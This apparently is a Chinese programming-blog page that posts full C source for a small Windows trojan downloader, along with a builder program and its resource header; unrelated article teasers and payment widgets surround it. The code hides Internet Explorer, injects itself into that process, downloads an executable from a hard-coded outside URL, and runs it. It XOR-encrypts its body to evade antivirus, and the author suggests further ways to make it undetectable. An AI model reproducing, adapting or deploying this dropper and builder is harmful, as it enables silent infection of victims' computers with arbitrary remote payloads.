3K下载者.txt

Mistral 8x22B MoE模型部署全链路实战:从磁力链到65K上下文服务 MoE(Mixture of Experts)是一种通过动态路由激活子模型来提升大语言模型效率与扩展性的关键架构,其核心原理在于以稀疏计算替代稠密参数全量参与,显著降低显存占用与推理延迟。该技术正成为突破算力瓶颈、支撑超长上下文(如65K tokens)和多任务协同的关键路径,在开源大模型(如Mistral AI系列)中加速落地。其工程价值体现在高吞吐、低延迟、可分片部署等优势,广泛应用于法律文档分析、多语言代码生成、科研文献理解等需领域专精与长程建模的场景。本文聚焦8x22B MoE这一典型工业级实例,深 阅读详情
/*
  "mini_downloader"
  code bykardinal p.s.t
  Edited by stealthwalker
  compile by vc++ 6.0
  can not run under win98;
*/
#include <windows.h>

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

#pragma comment(linker, "/OPT:NOWIN98")   //make the EXE file to be 2.5k size
#pragma comment(linker, "/merge:.data=.text")  
#pragma comment(linker, "/merge:.rdata=.text")  
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:decrpt")  
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
  
  HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//ShellExecuteA
  DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//UrlDownloadToFileA
  HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);   //create remote thread,and run
  HANDLE processhandle;
  DWORD pid;
  HINSTANCE hshell,hurlmon,hkernel;

void download() //thread funciton to be injected to IE
{
  hshell=LoadLibrary("Shell32.dll");
  hurlmon=LoadLibrary("urlmon.dll");

  (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
  (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

  DOWNFILE(NULL," http://www.testtest.ac.cn/eeeeeeeeeeee ... eeeeeeeeen/notepad.exe","c://ieinst12.exe",0, NULL);  
  SHELLRUN(0,"open","c://ieinst12.exe",NULL,NULL,5);
  ExitProcess(0);
};
  

void main() //main function
{  
  //1.get IE path ,and run it
  char iename[MAX_PATH],iepath[MAX_PATH];
  ZeroMemory(iename,sizeof(iename));
  ZeroMemory(iepath,sizeof(iepath));

  GetWindowsDirectory(iepath,MAX_PATH);
  strncpy(iename,iepath,3);
  strcat(iename,"program files//Internet Explorer//IEXPLORE.EXE");
  WinExec(iename,SW_HIDE);
  Sleep(500);

  //2.get IE process handle
  HWND htemp;
  htemp=FindWindow("IEFrame",NULL);
  GetWindowThreadProcessId(htemp,&pid);
  processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  
  //3.allocate memory
  HMODULE Module;
  LPVOID NewModule;
  DWORD Size;
  LPDWORD lpimagesize;

  Module = GetModuleHandle(NULL);//image base address
  //image size
  _asm
  {
    push eax;
    push ebx;
    mov ebx,Module;
    mov eax,[ebx+0x3c];
    lea eax,[ebx+eax+0x50];  
    mov eax,[eax]
    mov lpimagesize,eax;
    pop ebx;
    pop eax;
  };
  Size=(DWORD)lpimagesize;
  NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置

  //4.write to memory,create thread
  WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//write data
  LPTHREAD_START_ROUTINE entrypoint;
  __asm
  {
    push eax;
    lea eax,download;
    mov entrypoint,eax;
    pop eax
  }
  hkernel=LoadLibrary("KERNEL32.dll");
  (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
  MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL);   //create remote thread and run
  
  //5.clean
  CloseHandle(processhandle);
  return;
};

//decryption function
void decrpt()
{

  HANDLE myps;
  DWORD oldAttr;
  BYTE shellcode[500];
  ZeroMemory(shellcode,sizeof(shellcode));
  myps=GetCurrentProcess();
  ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
  //store the original data to shellcode
  _asm
  {
    pushad;
    lea esi,download;
    lea edi,shellcode;
    lea ecx,decrpt;
    sub ecx,esi;
    rep movsb;
    popad;

  };

  //decrypt
  //int i;
  //for (i=1;i<=0xFF;i++)
  //{
  _asm
  {
    pushad;
    lea esi,shellcode;
    lea edi,download;
    lea ecx,decrpt;
    sub ecx,edi;
en2:  
    lodsb;
    mov edx,0x2c;
    xor al,dl;
    stosb;
    dec ecx;
    jne en2;
    popad;

  };//end asm
  __try
  {
  main();
  //MessageBox(NULL,"ok","ok",MB_OK);
  return;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)

  {
  //   OutputDebugString("ERRor hehe");
  //   MessageBox(NULL,"error","a",MB_OK);
  };
  

  //}// end for i
  return;
};

[Copy to clipboard]

i modified some snippets of it,especially the decrypt function.i removed the for cycle in order to make itself xor one time. i think you can do many things to customize the code to fit in with specific mission.for example, you can use shellcoding methods to add a decode block to the front of decoded data in order to work well, or ,randomly encrypt any block of the main code to make it undetectable.
Pay attention,the code above can not be launched as a stand-alone program.in other words,you must encrypt the download() and main() functions manually before it is launched.In order to make it easily done,i coded a SIMPLE program --a generator with c.

CODE:

#include <windows.h>
#include <stdio.h>


#include "resource.h"
HWND hDlg;
char url[76];
char key[3];
unsigned char nkey;

//convert string to bytes,borrowed from the internet
int String2Bytes(const char* pSrc, unsigned char* pDst, int nSrcLength)
{
for(int i=0; i<nSrcLength; i+=2)
{

if(*pSrc>='0' && *pSrc<='9')
{
*pDst = (*pSrc - '0') << 4;
}
else
{
*pDst = (*pSrc - 'A' + 10) << 4;
}

pSrc++;


if(*pSrc>='0' && *pSrc<='9')
{
*pDst |= *pSrc - '0';
}
else
{
*pDst |= *pSrc - 'A' + 10;
}
pSrc++;
pDst++;
}

return nSrcLength / 2;
}

BOOL CheckKey(void)
{
  if(((key[0]>='0' && key[0]<='9')||(key[0]>='a' && key[0]<='f'))&&((key[1]>='0' && key[1]<='9')||(key[1]>='a' &&

key[1]<='f')))
  {    
    if((key[0]=='0' && key[1]=='0')||(key[0]=='f' && key[1]=='f'))
          return false;
        else
          return true;
  }
  else
  return false;
}

void WINAPI MakeDlExe(void)
{
  HRSRC hResInfo;
  HGLOBAL hResData;
  DWORD dwSize, dwWritten;
  LPBYTE p;
  HANDLE hFile;

  hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_SERVER1), "SERVER");
  if (NULL == hResInfo)
{
  MessageBox(hDlg, "Failed in searching for resource!", "ERROR", MB_OK | MB_ICONINFORMATION);
  return;
  }

  dwSize = SizeofResource(NULL, hResInfo);
  // Load Resource
  hResData = LoadResource(NULL, hResInfo);
  if (NULL == hResData)
  {
  MessageBox(hDlg, "Failed in Loading Resource!", "ERROR", MB_OK | MB_ICONINFORMATION);
  return;
  }
  // Allocate Memory
  p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
  if (p == NULL)
  {
  MessageBox(hDlg, "Failed in Allocating Memory!", "ERROR", MB_OK | MB_ICONINFORMATION);
  return;
  }
  //duplicate resource data
  CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
  //TO customize the resource data
  String2Bytes(key,&nkey,2);
  CopyMemory((LPVOID)(p + 0x258), (LPCVOID)url, 76);
  CopyMemory((LPVOID)(p + 0x5d7), (LPCVOID)&nkey, 1);
  //for (i=1;i<0xff;i++)
  //{
  _asm{
        push p
        pop esi
        add esi,0x360
        push esi
        pop edi
        mov ecx,0x550
        sub ecx,0x360
        mov bl,nkey
loop1:
        lodsb
        xor al,bl
        stosb
        dec ecx
        jne loop1
    }
//   }
  //store the customized data to file
  hFile = CreateFile("stealth.exe", GENERIC_WRITE, 0, NULL, Create_ALWAYS, 0, NULL);
  if (hFile != NULL)
  {
  WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
  MessageBox(hDlg, "Built Successfully!", "HINT", MB_OK);
  }
  else
  {
  MessageBox(hDlg, "Failed in Building File!", "ERROR", MB_OK | MB_ICONINFORMATION);
  GlobalFree((HGLOBAL)p);
  }
  // release resources
  CloseHandle(hFile);
  GlobalFree((HGLOBAL)p);
}
LRESULT DialogProc(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    
switch (uMsg)
{
  case WM_INITDIALOG:
    hDlg = hwndDlg;
    LoadIcon(NULL,(LPCTSTR)IDI_ICON1);
    SetDlgItemText(hDlg,IDC_EDIT1," http://www.r00tme.net/test.exe");
    SetDlgItemText(hDlg,IDC_EDIT2,"2e");
    SendDlgItemMessage(hDlg,IDC_EDIT1,EM_SETLIMITTEXT,76,0);
    SendDlgItemMessage(hDlg,IDC_EDIT2,EM_SETLIMITTEXT,2,0);
    break;

  case WM_CLOSE:
          EndDialog(hDlg, 0);
        break;
  case WM_DESTROY:
      PostQuitMessage(0);
      break;
  case WM_COMMAND:
    if (LOWORD(wParam) == IDC_BUTTON1)
    {
      ZeroMemory(url,MAX_PATH);
      GetDlgItemText(hDlg,IDC_EDIT1,url,76);
      GetDlgItemText(hDlg,IDC_EDIT2,key,3);
      if(CheckKey())
          MakeDlExe();
      else
        MessageBox(hDlg,"Failed in xor Key!","ERROR",MB_OK);
    
    }
    if (LOWORD(wParam) == IDC_BUTTON2)
    {
      EndDialog(hDlg, 0);
      }
      break;
}
return 0;
}

int WINAPI WinMain(HINSTANCE hInstance,
              HINSTANCE hPrevInstance,
              LPSTR   lpCmdLine,
              int     nCmdShow)
{
  // TODO: Place code here.
  DialogBox(hInstance, (LPCTSTR)IDD_DIALOG1, 0, (DLGPROC)DialogProc);
  return 0;
}

[Copy to clipboard]


the resource .h file:

CODE:

//{{NO_DEPENDENCIES}}
//  Microsoft Developer Studio generated include file.
// Used by Script1.rc
//
#define IDD_DIALOG1               101
#define IDI_ICON1               102
#define IDR_SERVER1               103
#define IDC_EDIT1               1000
#define IDC_BUTTON1               1001
#define IDC_BUTTON2               1002
#define IDC_EDIT2               1003

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE     108
#define _APS_NEXT_COMMAND_VALUE       40001
#define _APS_NEXT_CONTROL_VALUE       1004
#define _APS_NEXT_SYMED_VALUE       101
#endif
#endif 
私钥碰撞源码深度解析:从椭圆曲线到ETH地址派生 区块链资产安全的核心在于私钥的保管,而私钥碰撞这一技术概念常被误解为破解他人钱包的捷径。实际上,私钥碰撞的本质是在有限域内通过椭圆曲线乘法生成公钥,再经Keccak-256哈希派生出ETH地址,并不断穷举比对。这一过程涉及私钥空间、地址截断与生日悖论等基础原理,其真正的技术价值在于帮助开发者找回丢失的私钥片段、验证钱包备份的完整性,甚至生成带特定前缀的vanity地址。本文从地址派生的底层流程讲起,拆解私钥碰撞源码的模块结构,介绍随机、区间、模板三种扫描模式及多进程/GPU加速的现实边界,最终收敛到如何正确 阅读详情

相关推荐

20个Python源码项目实战合集,从环境搭建到代码改造全解析

编程学习最有效的方式是阅读并改造真实项目源码。Python作为一种语法简洁、生态丰富的语言,尤其适合通过中小型项目来掌握工程实践。一个高质量的源码项目需要具备合理的代码量、精简的依赖和直观的运行反馈,这决定了学习者能否顺利完成环境搭建、依赖安装和代码调试。从基础语法工具到爬虫实战,从Web服务到数据分析,再到自动化办公与小游戏开发,不同难度梯度的项目帮助学习者在真实场景中理解程序设计和数据流。本文梳理了20个可运行、可改造的Python源码项目,覆盖环境配置、常见报错排查和代码阅读技巧,助力开发者完成从下载

weixin_34101784的博客 792

Linux成功安装minigui教程(最详细)

Linux成功安装minigui教程(最详细)

qq_51643989的博客 3253

Bilibili m4s视频合并MP4的三大核心问题与解决方案

MP4是一种广泛支持的多媒体容器格式,其结构依赖完整的moov头、对齐的时间戳和兼容的音视频编码。DASH协议将音视频分离为audio.m4s和video.m4s分片,本质是无moov头的fragmented MP4,直接改后缀无法播放。合成MP4需解决三大技术关键:补全MP4容器结构(ftyp/moov/mdat)、统一音视频时间基(timebase)以避免不同步、适配编码兼容性(如AV1/AAC转码)。该过程广泛应用于学习视频归档、课程本地化、剪辑素材准备等场景,本文聚焦Bilibili平台典型m4s分

weixin_34062469的博客 398

探索libmini:轻量级、高效的代码库

探索libmini:轻量级、高效的代码库 去发现同类优质开源项目:https://gitcode.com/ 项目简介 libmini是一个小巧但功能强大的开源代码库,由林熙志(linxizhi2021)开发并维护。该项目旨在为开发者提供一套简洁、易用且高度可定制化的工具集合,帮助他们在各种应用场景中提高编程效率。 技术分析 简洁设计 libmini遵循模块化的设计理念,每个功能都封装在一个独立的文...

gitblog_00059的博客 444

struts-2.3.15.1-lib.zip官方jar包

Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,官方已经发布了新的版本进行修复。将struts2升级到目前的最新版2.3.15.1版本进行修复,防止被外部黑客利用攻击。

多文件迷你下载器miniDownLoaderv1.0绿色免费版

迷你Downloader是一个简单,方便的应用程序,你可以用它来从互联网上下载多个文件。 迷你下载文件预览选项,可选代理服务器连接设置和较高的下载速度。用户可以设置优先级和停止下载过程。

MINIZIP 压缩解压缩, 附编译好的zlibstatic.lib minizip.lib

使用minizip 开源代码, 修改成可以显示解压整个进度已经每个文件的解压进度.

Transmission Remote GUI追踪器管理技巧:添加、编辑、删除完整教程

Transmission Remote GUI是一款功能丰富的跨平台Transmission BitTorrent客户端远程管理工具,它比内置的Web界面更快且功能更强大。对于BitTorrent用户来说,追踪器管理是提高下载速度和连接成功率的关键技巧,本文将详细介绍Transmission Remote GUI中追踪器的添加、编辑和删除完整操作方法。 ## 📋 为什么追踪器管理如此重要?

gitblog_00873的博客 431

minizip.zip

/* "Usage : minizip [-o] [-a] [-0 to -9] [-p password] [-j] file.zip [files_to_add]\n\n" \ " -o Overwrite existing file.zip\n" \ " -a Append to existing file.zip\n" \ " -0 Store only\n" \ " -1 Compress faster\n" \ " -9 Compress better\n\n" \ " -j exclude path. store only the file name. " -d remove 删除原文件 */ 解压后或需要设置环境变量,只支持压缩,大家可以留言讨论

一款开源的ShellCode生成引擎

1.本工具只支持x86 coff格式的文件 2.全局变量记得初始化,测试的时候发现有事全局变量没有初始化会获取不到 3.关闭MSVC的全局优化,开启全局优化时OBJ中的信息无法获取 4.不要在代码中使用c++一些特性,类似异常等,测试类时发现基本的类是可以满足的不要使用c++的一些库,切记

利用bkcrack破解ZIP加密:从已知明文攻击到数据恢复实战

在数据安全领域,加密技术是保护敏感信息的核心手段,而ZIP作为广泛使用的压缩格式,其内置的ZipCrypto加密算法曾被视为标准防护。然而,该算法在设计中存在结构性缺陷,特别是其流密码机制和头部加密方式,为已知明文攻击创造了条件。这种攻击方式允许攻击者利用少量已知的原始数据片段,结合对应的密文,逆向推导出加密密钥,从而绕过密码验证。从技术价值看,这揭示了密码学实现中细节决定安全性的重要原则,也凸显了选择强加密算法(如AES-256)的必要性。在实际应用场景中,当用户遗忘ZIP密码或需要恢复合法访问权限时,类

weixin_30394981的博客 334

BERTopic安装指南:hdbscan依赖问题全解析(附解决方案)

本文详细解析了安装BERTopic时常见的hdbscan依赖报错问题,深入剖析了C++编译环境缺失、Python版本兼容性以及包管理渠道混用三大核心原因。针对Windows、macOS和Linux不同系统,提供了创建虚拟环境、使用conda安装预编译包、安装C++编译工具等具体解决方案,帮助用户顺利安装BERTopic并开始文本主题建模实践。

weixin_29061041的博客 216

HolyArrs对接Plex、Jellyfin、Emby:媒体服务器实时同步完整指南

HolyArrs 是一个自托管的多媒体下载管理工具,它能把新下载的电影、剧集和音乐**实时同步**到 Plex、Jellyfin 或 Emby 媒体服务器——导入、改名、删除文件后,HolyArrs 会自动通知媒体服务器重新扫描对应文件夹,你不再需要等待下一次完整扫描,内容即刻出现在播放列表里。 ## 为什么需要实时同步媒体服务器? 平时使用媒体服务器时,你可能遇到过这种情况: - 下载完一

gitblog_00610的博客 380

vLLM 多机多卡推理测试与验证(Kubernetes)vLLM 多机多卡推理 Kubernetes 验证

本文记录在两台 L20 机器,每台机器 4 块 L20 显卡(46G)的环境下,使用 vLLM 部署 Qwen2.5-32B-Instruct-GPTQ-Int4 模型并提供多节点多卡推理服务的过程。服务(Serving)模型服务是指将模型部署到生产环境中,通过 API 或其他接口提供预测服务的过程。【分布式推理与服务】(Distributed Inference and Serving)是指在多个机器或设备之间部署和管理机器学习模型,以高效地处理推理请求并满足大规模服务需求。3、启动 vLLM 服务。

流水_鱼鱼的博客 3459

ENVI SARscape安装全攻略:从下载到汉化一步到位(附最新试用申请链接)

本文提供ENVI SARscape从下载安装到汉化的完整指南,特别针对InSAR(合成孔径雷达干涉测量)分析环境搭建。详细介绍了系统要求、分步安装流程、汉化优化方法及硬件加速配置,并分享数据处理验证和常见问题解决方案,帮助用户高效搭建遥感数据分析平台。

rnn9storyteller的博客 1416

工程师必备:分卷压缩技术详解与实战指南

分卷压缩是一种将大文件分割成多个小文件并压缩存储的技术,其核心原理是通过数据压缩算法减少文件体积,再按指定大小进行分割,生成一系列连续编号的压缩包。这项技术的价值在于它能有效突破网络平台对单个文件上传大小的限制,同时保持文件的完整性和可管理性。在工程实践领域,分卷压缩广泛应用于嵌入式开发、FPGA项目分享、硬件设计文档传输以及大型仿真模型的分发等场景,是工程师之间高效、可靠地共享大体积技术资料的通用解决方案。掌握分卷压缩与解压的正确方法,能显著提升技术协作效率,避免因文件传输问题导致的信息差和沟通成本。

weixin_30781107的博客 306

Agentic RAG:RAG从静态到具有理解、推理、决策的Agentic RAG

RAG技术演进:从静态检索到智能代理 RAG(检索增强生成)技术经历了五个关键发展阶段:基础RAG(关键词检索)、高级RAG(语义理解)、模块化RAG(灵活架构)、图RAG(知识图谱)和最新的Agentic RAG(智能代理)。Agentic RAG通过引入自主AI代理,具备反思、规划、工具使用和多代理协作能力,实现了动态决策和自适应工作流。相比传统RAG的静态检索流程,Agentic RAG能处理复杂多步推理任务,通过自我改进机制提高输出质量,并支持多专业代理协作,显著提升了RAG系统在复杂场景下的表现。

2547

OptiScaler|游戏超采样替换与帧生成完整指南

OptiScaler 是一款开源免费的游戏超采样替换与帧生成工具,拦截游戏对 DLSS、FSR、XeSS 的调用,让你实时改用别的超采样后端,还能为部分 DX12 游戏加帧生成,适合单机游戏中跨厂商使用超采样的玩家。 ## 它是怎么工作的 OptiScaler 是运行在游戏与显卡之间的中间件(middleware):它截住游戏发出的超采样调用(**Input**,即游戏设置里实际启用的技术),

gitblog_00585的博客 802

Claude Code(1):手把手教你安装配置 Claude Code

Claude Code 是一款强大的 AI 编程助手工具,能够帮助开发者提升编码效率。本文将详细介绍如何在不同操作系统上安装和配置 Claude Code,让你快速上手这款工具。

blues_C的博客 758

【DRAM存储器五十四】LPDDR5介绍--PHY简介和LPDDR5训练流程

简述LPDDR5 PHY的基本功能和训练流程简介

highman110的博客 911

HowToVulkan 渲染循环逐帧拆解:命令缓冲录制、提交与呈现的 6 步同步时序

HowToVulkan 渲染循环逐帧拆解:这个 2026 年的极简 Vulkan 教程用单个文件 [main.cpp](https://link.gitcode.com/i/2d39772b0d9f9a1d01057ad394e527a9) 演示了如何写出真正有意义的 Vulkan 应用。本文将沿着渲染循环,按**命令缓冲录制、提交与呈现的 6 步同步时序**逐步拆解 fence、semaphor

gitblog_02988的博客 1071

Q3D提取PCB走线RLCG参数

介绍一种提取PCB走线寄生电容和寄生电感的方法

sinat_15150363的博客 2927

亡命迪斯科自定义歌曲导入指南:MDO文件与BPM校准实战

音乐游戏的自定义歌曲生态,依赖一套从谱面文件到音频校准的完整技术链路。无论在何种节奏游戏中,BPM(每分钟节拍数)都是决定音符时序的基础参数,偏差哪怕1都会导致谱面错位;而Offset(全局偏移)则负责修正首个音符的时间基准。理解这两个概念,是理解自定义歌曲制作与导入的前提。在实际操作中,玩家常需要借助音频处理工具与Python脚本进行BPM检测与响度归一化,再通过MDO文件将谱面、音频与封面打包导入游戏。以“亡命迪斯科”支持的自定义歌曲格式为例,一个完整的导入流程涵盖了素材准备、目录规划、参数校准与问题排

weixin_33898876的博客 417

【气候极端指数】MATLAB计算各种气候极端指数

简介各类气候极端指数,及其MATLAB计算代码

WW、forever的博客 4918

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

click、swoosh、pop:tiks内置10种UI音效完整清单与交互场景选择指南

给网页加上"原生 App 般的音效层",不用再导入任何音频文件——tiks 是一个纯合成的 Web UI 音效库,内置 **click、swoosh、pop** 等 10 种界面交互音效。所有声音都通过 Web Audio API 的振荡器与噪声缓冲区在运行时实时生成,gzip 后仅约 3.5KB,零音频文件、零解码开销。本文带你逐一认识这 10 种音效,并给出"什么交互场景该用哪种声音"的完整选

gitblog_01159的博客 717

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

上一篇: VipShell驱动隐藏模块
下一篇: VC文件过滤系统驱动开发Filemon学习笔记
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值